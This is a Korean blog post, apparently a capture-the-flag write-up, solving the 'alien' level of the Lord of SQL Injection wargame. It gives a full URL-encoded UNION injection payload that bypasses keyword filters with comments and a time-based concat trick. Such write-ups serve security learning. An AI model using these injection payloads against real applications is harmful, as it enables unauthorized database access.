-
<Lord of SQL Injection> alienWargame/Lord of SQL Injection 2021. 12. 6. 22:46
admin, and, or, if, coalesce, case, _, ., prob, time을 필터링한다.
쿼리가 2개 나와있다. 하나는 싱글 쿼터(')가 없고, 하나는 싱글 쿼터가 있다.
아래 조건문을 살펴보면
첫 번째 쿼리는 "admin"과 값이나 타입 하나라도 다르면 "sandbox1"을 출력하고 종료한다.
또, "admin"과 같으면 "sandbox2"를 출력하고 종료한다.
두 번째 쿼리는 "admin"과 같으면 "sandbox"를 출력하고 종료한다.
또 한번 더 같으면 문제가 풀린다.
우선, 주석을 사용해 두 쿼리를 동일한 결과를 출력하게 만들 수 있다.
query 1 : select id from prob_alien where no=1 union select 1#' union select '1#
query 2 : select id from prob_alien where no='1 union select 1#' union select 1#'
첫 번째 쿼리의 빨간 부분은 주석 처리된다.
두 번째 쿼리의 주황 부분은 문자열로 취급된다.
이 문제에서 id값과 "admin"을 비교하는 조건문은 차례대로 진행된다.
그리고 쿼리를 수행하는데 있어 약간의 시간이 소모된다.
즉 첫 번째, 세 번째 조건에서는 id 값으로 "admin"이 들어가게하고,
두 번째 조건에서는 id 값으로 "admin"이 아닌 값이 들어가게 하면 된다.
concat(char(97+(!sleep(1)&&now()%2=1)), 0x646d696e)
!sleep(1)&&now()%2=1은 현재 시간에 따라서 0 또는 1을 반환한다.
그렇기 때문에 어느 시점에서는 char(97) 즉 a로 admin을,
어느 시점에서는 char(98)인 b로 bdmin을 반환한다.
url encoding 표를 참고하여
+ -> %2B
& -> %26
# -> %23
따라서,
?no=0 union select concat(char(97%2B(!sleep(1)%26%26now()%2=1)), 0x646d696e)%23'
union select concat(char(96%2B(!sleep(1)%26%26now()%2=1)), 0x646d696e)%23을 입력하면
(시간에 따라 값이 다르므로 몇 번의 시도 필요)
문제를 해결할 수 있다.
'Wargame > Lord of SQL Injection' 카테고리의 다른 글
<Lord of SQL Injection> cthulhu (0) 2021.12.13 <Lord of SQL Injection> zombie (0) 2021.12.05 <Lord of SQL Injection> ouroboros (0) 2021.12.03 <Lord of SQL Injection> phantom (0) 2021.12.02 <Lord of SQL Injection> frankenstein (0) 2021.12.01